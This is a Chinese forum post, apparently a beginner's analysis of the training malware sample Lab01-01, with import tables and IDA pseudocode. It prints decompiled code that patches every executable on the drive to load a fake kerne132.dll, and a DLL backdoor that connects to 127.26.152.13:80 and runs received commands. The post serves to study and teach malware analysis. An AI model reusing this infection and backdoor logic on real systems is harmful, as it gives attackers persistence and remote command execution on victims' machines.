首页
社区
课程
招聘
[原创]新手的恶意代码分析记录(一)_Lab01-01
2021-8-17 22:02 6557

[原创]新手的恶意代码分析记录(一)_Lab01-01

2021-8-17 22:02
6557

一、基本信息

样本基本信息:

 

样本名称:Lab01-01.dll

 

样本大小:163840 bytes

 

MD5:290934C61DE9176AD682FFDD65F0A669

 

样本名称:Lab01-01.exe

 

样本大小:16384 bytes

 

MD5:5A016FACBCB77E2009A01EA5C67B39AF209C3FCB

 

使用cff_Explorer 查看样本基本信息

 

img

 

img

 

使用查壳工具die查看,可以看出来,两个程序并没有加壳,并且是使用VC6.0编写的。

 

img

 

img

 

查看 Lab01-01.dll 程序的导入表信息,可以看到该程序主要加载了3个dll

 

img

 

KERNEL32.dll:包括操作系统核心功能,如访问和操作内存、文件和硬件等

 

WS2_32.dll:与网络连接相关

 

MSVCRT.dll:C语言运行库文件

 

一些相关的函数

1
2
3
4
5
6
7
8
9
10
11
Kernel32.dll
 
Sleep:暂停当前线程的执行
 
CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。
 
CreateMutexA:创建或打开命名的或未命名的互斥对象。
 
OpenMutexA:打开现有的命名互斥对象。
 
CloseHandle:关闭打开的对象句柄。

查看Lab01-01.exe程序的导入表信息,可以看到该程序主要加载了2个dll

 

img

 

可以看到是用到了大量的与文件操作的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Kernel32.dll
 
CloseHandle:关闭打开的对象句柄。
 
UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。
 
IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。
 
MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。
 
CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象
 
CreateFileA:创建或打开文件或 i/o 设备。
 
FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、
FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。
 
FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
 
FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。
 
CopyFileA:将现有文件复制到新文件。

二、简单的动态分析

使用火绒剑监控该程序,发现并没有什么异常

 

img

三、静态分析

首先,在https://www.virustotal.com/上可以看到各个反病毒引擎对该文件的扫描过程。

 

img

 

img

Lab01-01.exe 文件详细分析

接下来使用IDA查看Lab01-01.exe这个文件

查看main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
main函数
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  HANDLE v3; // eax
  _DWORD *v4; // esi
  HANDLE v5; // eax
  HANDLE v6; // eax
  const char **v7; // ebp
  _DWORD *v8; // eax
  const char *v9; // esi
  _DWORD *v10; // ebx
  int v11; // ebp
  _DWORD *v12; // eax
  unsigned int v13; // edi
  int v14; // eax
  int v15; // ecx
  int v16; // edx
  int v17; // esi
  int v18; // edi
  char *v19; // ebx
  _DWORD *v20; // eax
  const char **v21; // ecx
  unsigned int v22; // edx
  _DWORD *v23; // ebp
  const char *v24; // edx
  unsigned int v25; // kr08_4
  char *v26; // eax
  char *v27; // ebx
  unsigned int v28; // kr10_4
  bool v29; // cf
  _WORD *v31; // [esp+10h] [ebp-44h]
  unsigned __int16 *v32; // [esp+14h] [ebp-40h]
  _DWORD *v33; // [esp+18h] [ebp-3Ch]
  _DWORD *v34; // [esp+1Ch] [ebp-38h]
  int v35; // [esp+20h] [ebp-34h]
  _DWORD *v36; // [esp+24h] [ebp-30h]
  int v37; // [esp+28h] [ebp-2Ch]
  int i; // [esp+2Ch] [ebp-28h]
  _DWORD *v39; // [esp+30h] [ebp-24h]
  unsigned __int16 *v40; // [esp+34h] [ebp-20h]
  char *v41; // [esp+38h] [ebp-1Ch]
  int v42; // [esp+3Ch] [ebp-18h]
  int v43; // [esp+44h] [ebp-10h]
  int v44; // [esp+48h] [ebp-Ch]
  HANDLE hObject; // [esp+4Ch] [ebp-8h]
  HANDLE v46; // [esp+50h] [ebp-4h]
  int argca; // [esp+58h] [ebp+4h]
  const char **argva; // [esp+5Ch] [ebp+8h]
  const char **argvb; // [esp+5Ch] [ebp+8h]
 
  if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )// 参数2:WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
  {
    hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);// 创建或打开的文件:C:\Windows\System32\Kernel32.dll
    v3 = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll
    v4 = MapViewOfFile(v3, 4u, 0, 0, 0);        // 将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll
    argca = (int)v4;
    v5 = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开的文件:Lab01-01.dll
    v46 = v5;
    if ( v5 == (HANDLE)-1 )
      exit(0);
    v6 = CreateFileMappingA(v5, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
    if ( v6 == (HANDLE)-1 )
      exit(0);
    v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间
    argva = v7;
    if ( !v7 )
      exit(0);
    v41 = (char *)v4 + v4[15];
    v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
    v9 = &v7[15][(_DWORD)v7];
    v10 = v8;
    v36 = v8;
    v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
    v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
    v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
    v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
    v13 = *((_DWORD *)v9 + 31);
    v39 = v12;
    v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
    qmemcpy((void *)v11, v10, v13);
    v42 = v14;
    v15 = v10[5];
    *(_DWORD *)(v11 + 20) = v15;
    *(_DWORD *)(v11 + 24) = v10[6];
    *(_DWORD *)(v11 + 12) = v11 + 40 + v14;
    v35 = v11 + 56;
    strcpy((char *)(v11 + 40), "kerne132.dll");
    v16 = *(_DWORD *)(v11 + 20);
    v17 = v11 + 56 + 4 * v16;
    v18 = v11 + 56 + 8 * v16;
    v44 = v17;
    v43 = v18;
    v19 = (char *)(16 * v15 + v11 + 56);
    *(_DWORD *)(v11 + 28) = v11 + 56 + v14;
    *(_DWORD *)(v11 + 36) = v17 + v14;
    *(_DWORD *)(v11 + 32) = v18 + v14;
    v20 = v36;
    v21 = 0;
    v22 = 0;
    argvb = 0;
    for ( i = 0; v22 < v20[5]; ++v34 )
    {
      if ( *v34 )
      {
        v37 = 0;
        if ( v20[6] )
        {
          v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
          v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
          v33 = v39;
          v32 = v40;
          do
          {
            if ( *v32 == v22 )
            {
              v24 = (const char *)sub_401040(*v33, v41, argca);
              strcpy(v19, v24);
              *v31 = (_WORD)argvb;
              *(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
              v25 = strlen(v24) + 1;
              v26 = &v19[v25];
              v27 = &v19[v25 + 9];
              *v23 = &v26[v42];
              *(_DWORD *)v26 = dword_403070;
              *((_DWORD *)v26 + 1) = dword_403074;
              v26[8] = byte_403078;
              strcpy(v27, v24);
              v28 = strlen(v24) + 1;
              v20 = v36;
              argvb = (const char **)((char *)argvb + 1);
              v22 = i;
              v19 = &v27[v28];
              ++v23;
              ++v31;
            }
            ++v32;
            v29 = (unsigned int)++v37 < v20[6];
            ++v33;
          }
          while ( v29 );
          v21 = argvb;
          v18 = v43;
          v17 = v44;
        }
      }
      i = ++v22;
    }
    CloseHandle(hObject);                       // 关闭打开的对象句柄 C:\Windows\System32\Kernel32.dll
    CloseHandle(v46);                           // 关闭打开的对象句柄 Lab01-01.dll
    if ( !CopyFileA(ExistingFileName, NewFileName, 0) )// 将现有文件复制到新文件  Lab01-01.dll ->>  C:\windows\system32\kerne132.dll
      exit(0);
    sub_4011E0(aC, 0);                          // 递归函数 sub_4011E0
  }
  return 0;
}

通过对主函数进行分析,得出如下结论:

 

1、首先程序会判断程序参数是否正确,如果参数不正确,便会退出程序。如果参数正确,就会继续执行相关函数。所以,该程序的·正确启动方式为:

1
Lab01-01.exe WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

2、之后的话,该程序会打开两个文件,一个是C:\Windows\System32\Kernel32.dll,另一个是 Lab01-01.dll文件,程序最后会关闭这两个文件,并将现有的Lab01-01.dll 文件复制到 新建的 C:\windows\system32\kerne132.dll 文件中去,故,这里猜想,中间的那段程序代码应该是对 Lab01-01.dll 文件执行了相关操作,具体什么样的操作,后面详细分析。

接下来查看sub_4011E0函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl sub_4011E0(LPCSTR lpFileName, int a2)
{
  int result; // eax
  const char *v3; // ebp
  HANDLE v4; // esi
  char *v5; // edx
  unsigned int v6; // kr1C_4
  char *v7; // ebp
  HANDLE hFindFile; // [esp+10h] [ebp-144h]
  struct _WIN32_FIND_DATAA FindFileData; // [esp+14h] [ebp-140h] BYREF
 
  result = a2;
  if ( a2 <= 7 )
  {
    v3 = lpFileName;
    v4 = FindFirstFileA(lpFileName, &FindFileData);// 在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录 :  lpFileName
    hFindFile = v4;
    while ( v4 != (HANDLE)-1 )
    {
      if ( (FindFileData.dwFileAttributes & 0x10) == 0// 文件的文件属性.  0x10  FILE_ATTRIBUTE_DIRECTORY  标识目录 ->>   判断是否为文件目录  不是目录的话 执行下面的流程
        || !strcmp(FindFileData.cFileName, asc_403040)// 文件的名称 .
        || !strcmp(FindFileData.cFileName, asc_40303C) )// 文件的名称  ..
      {
        v6 = strlen(FindFileData.cFileName) + 1;
        v7 = (char *)malloc(strlen(v3) + 1 + strlen(FindFileData.cFileName));
        strcpy(v7, lpFileName);
        v7[strlen(lpFileName) - 1] = 0;
        strcat(v7, FindFileData.cFileName);
        if ( !stricmp((const char *)&FindFileData.dwReserved0 + v6 + 3, aExe) )// 判断文件后缀是否是.exe  如果是exe文件  执行sub_4010A0
          sub_4010A0(v7);
        v3 = lpFileName;
      }
      else
      {
        v5 = (char *)malloc(strlen(v3) + 2 * strlen(FindFileData.cFileName) + 6);
        strcpy(v5, v3);
        v5[strlen(v3) - 1] = 0;
        strcat(v5, FindFileData.cFileName);
        strcat(v5, asc_403038);
        sub_4011E0(v5, a2 + 1);                 // 递归的查找文件
      }
      v4 = hFindFile;
      result = FindNextFileA(hFindFile, &FindFileData);// 从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
      if ( !result )
        return result;
    }
    result = FindClose((HANDLE)0xFFFFFFFF);
  }
  return result;
}

通过对sub_4011E0函数进行分析,得出如下结论:

 

1、首先,这个函数是一个文件查找函数,它递归的查找文件系统上的所有文件,当找到一个后缀为exe的可执行程序时,执行sub_4010A0函数。

sub_4010A0函数

接下来查看sub_4010A0函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
char *__cdecl sub_4010A0(LPCSTR lpFileName)
{
  char *result; // eax
  const void *v2; // esi
  int *v3; // ebp
  int *v4; // edi
  int *i; // edi
  int *v6; // ebx
  _DWORD *v7; // ebp
  const void *v8; // [esp+10h] [ebp-Ch]
  HANDLE hObject; // [esp+14h] [ebp-8h]
  HANDLE v10; // [esp+18h] [ebp-4h]
 
  v10 = CreateFileA(lpFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开文件或 i/o 设备。  打开查找到的.exe可执行文件
  hObject = CreateFileMappingA(v10, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
  result = (char *)MapViewOfFile(hObject, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间。
  v2 = result;
  v8 = result;
  if ( result )
  {
    v3 = (int *)&result[*((_DWORD *)result + 15)];
    result = (char *)IsBadReadPtr(v3, 4u);      // 验证调用进程是否具有对指定内存范围的读访问权限。
    if ( !result && *v3 == 0x4550 )             // 0x4550 PE头标识
    {
      v4 = (int *)sub_401040(v3[32], (int)v3, (int)v2);
      result = (char *)IsBadReadPtr(v4, 20u);
      if ( !result )
      {
        for ( i = v4 + 3; *(i - 2) || *i; i += 5 )
        {
          v6 = (int *)sub_401040(*i, (int)v3, (int)v2);
          result = (char *)IsBadReadPtr(v6, 0x14u);
          if ( result )
            return result;
          if ( !stricmp((const char *)v6, String2) )// 判断是否为 kernel32.dll 字符串
          {
            qmemcpy(v6, aKerne132Dll, strlen((const char *)v6) + 1);// 字符串拷贝  kernel32.dll ->> kerne132.dll
            v2 = v8;
          }
        }
        v7 = v3 + 52;
        *v7 = 0;
        v7[1] = 0;
        UnmapViewOfFile(v2);                    // 从调用进程的地址空间取消映射文件的映射视图。
        CloseHandle(hObject);                   // 关闭打开的对象句柄。
        result = (char *)CloseHandle(v10);      // 关闭打开的对象句柄
      }
    }
  }
  return result;
}

通过对sub_4010A0函数进行分析,得出如下结论:

 

1、该函数打开找到的后缀为.exe的可执行程序,然后替换程序中的kernel32.dll字符串为kerne132.dll

初步的结论

通过对Lab01-01.exe初步分析,主要得到了下面的结论与想法:

  • 该程序通过新建kerne132.dll文件并将可执行文件的kernel32.dll字符串修改为kerne132.dll字符串,从而修改程序,故猜想后面该可执行文件加载的并不会是kernel32.dll,而会是kerne132.dll文件。
  • 由于kerne132.dll是通过Lab01-01.dll复制而来,所以,分析Lab01-01.dll至为重要

  • 遗留下来的问题:主函数中对Lab01-01.dll文件究竟进行了什么操作?

Lab01-01.dll 文件详细分析

接下来使用IDA查看Lab01-01.dll这个文件

查看DllMain函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  SOCKET v3; // esi
  HANDLE hObject; // [esp+10h] [ebp-11F8h]
  struct sockaddr name; // [esp+14h] [ebp-11F4h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+24h] [ebp-11E4h] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+34h] [ebp-11D4h] BYREF
  struct WSAData WSAData; // [esp+78h] [ebp-1190h] BYREF
  char buf; // [esp+208h] [ebp-1000h] BYREF
  char v11[4092]; // [esp+209h] [ebp-FFFh] BYREF
  __int16 v12; // [esp+1205h] [ebp-3h]
  char v13; // [esp+1207h] [ebp-1h]
 
  if ( fdwReason == 1 )
  {
    buf = byte_10026054;
    memset(v11, 0, sizeof(v11));
    v12 = 0;
    v13 = 0;
    if ( !OpenMutexA(0x1F0001u, 0, Name) )      // 打开现有的命名互斥对象 ->> 判断互斥体是否存在  SADFHUHF
    {
      CreateMutexA(0, 0, Name);                 // 创建或打开命名的或未命名的互斥对象。 ->> 如果不存在的话 ,创建互斥体
      if ( !WSAStartup(0x202u, &WSAData) )      // 应用程序或DLL调用的第一个Windows Sockets函数。
      {
        v3 = socket(2, 1, 6);
        if ( v3 != -1 )
        {
          name.sa_family = 2;
          *(_DWORD *)&name.sa_data[2] = inet_addr(cp);// 127.26.152.13
          *(_WORD *)name.sa_data = htons(0x50u);// 端口  80
          if ( connect(v3, &name, 16) != -1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                do
                {
                  if ( send(v3, ::buf, strlen(::buf), 0) == -1 || shutdown(v3, 1) == -1 )// send() 系统调用函数,用来发送消息到一个套接字中
                                                // shutdown()函数用于任何类型的套接口禁止接收、禁止发送或禁止收发
                    goto LABEL_15;
                }
                while ( recv(v3, &buf, 4096, 0) <= 0 );
                if ( strncmp(Str1, &buf, 5u) )  // sleep  判断接受到的命令是否为 Sleep  如果不是  跳出 
                                                // 是的话  执行Sleep函数
                  break;
LABEL_10:
                Sleep(0x60000u);
              }
              if ( strncmp(aExec, &buf, 4u) )   // exec  判断命令是否是 exec   如果不是  判断是否为 q
              {
                if ( buf == 'q' )               // q  判断命令是否是 q 如果是 关闭打开的对象句柄 
                {
                  CloseHandle(hObject);         // 关闭打开的对象句柄
                  break;
                }
                goto LABEL_10;
              }
              memset(&StartupInfo, 0, sizeof(StartupInfo));// 命令如果是 exec 执行接下来操作
              StartupInfo.cb = 68;
              CreateProcessA(0, &v11[4], 0, 0, 1, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);// 创建新的进程
            }
          }
LABEL_15:
          closesocket(v3);
        }
        WSACleanup();
      }
    }
  }
  return 1;
}

对这个DllMain主函数进行分析,得出如下结论:

  • 首先,该程序会判断互斥体 SADFHUHF 是否存在,如果不存在的话,创建该互斥体,确保同一时间只有这个恶意代码的实例在运行。
  • 之后,在不断的接收数据和发送数据,可以猜想到,这个程序的主要功能就是从一个远程机器接收命令,然后执行不同的操作。
  • 如果接收到的字符串是Sleep 就调用Sleep函数。
  • 如果接受到的命令前四个字节是exec,就根据不同的命令创建新的进程。

这个Dll程序大概就分析到这里,总结一下:

 

通过这个程序,来连接到一个远程主机,主要有两个命令,一个是Sleep,用来睡眠,另一个是用来执行命令,创建新的进程。

四、动静态调试结合分析

通过前面的分析,对这两个程序有了一个比较清楚的认识,接下来使用动态调试工具调试一下。

 

主要解决刚才遗留下来的一个问题:

 

在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?

 

img

 

0x401813处下断点,查看火绒剑监控到的相关信息

 

imgimg

 

img

 

可以看到有对exe可执行程序修改的痕迹。

 

使用CFF explorer查看修改后的exe文件信息

 

img

 

可以看到,可执行文件在加载DLL时,加载的不再是kernel32.dll,而将会是kerne132.dll ,而这个dll在加载的时候就会执行后门程序。

 

接下来看一下kerne132.dll 程序

 

img

 

img

 

kerne132.dll 程序多了一些导出函数,这就解决了上面提出的问题:在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?可以看到,在这段操作里,是将kernel32.dll 中的导出节复制到了Lab01-01.dll中去。我们可以看到,它导出了所有kernel32.dll中的导出函数,并且这些函数是经过重定向的,所以不会对其他程序造成影响。所以,在Lab01-01.exe程序主函数中是解析kernel32.dll的导出节,并在Lab01-01.dll中创建一个同样的导出节。

五、样本相关特征

字符串:

 

WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

 

kerne132.dll

 

SADFHUHF

六、总结与防护建议

该样本通过新建一个kerne132.dll,并修改系统上的每一个导入kernel32.dll的exe程序,达到执行exe程序时,总会加载恶意代码,达到持久化驻留。可以修改kernel32.dll程序为kerne132.dll程序,保证恶意代码不会被加载。


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回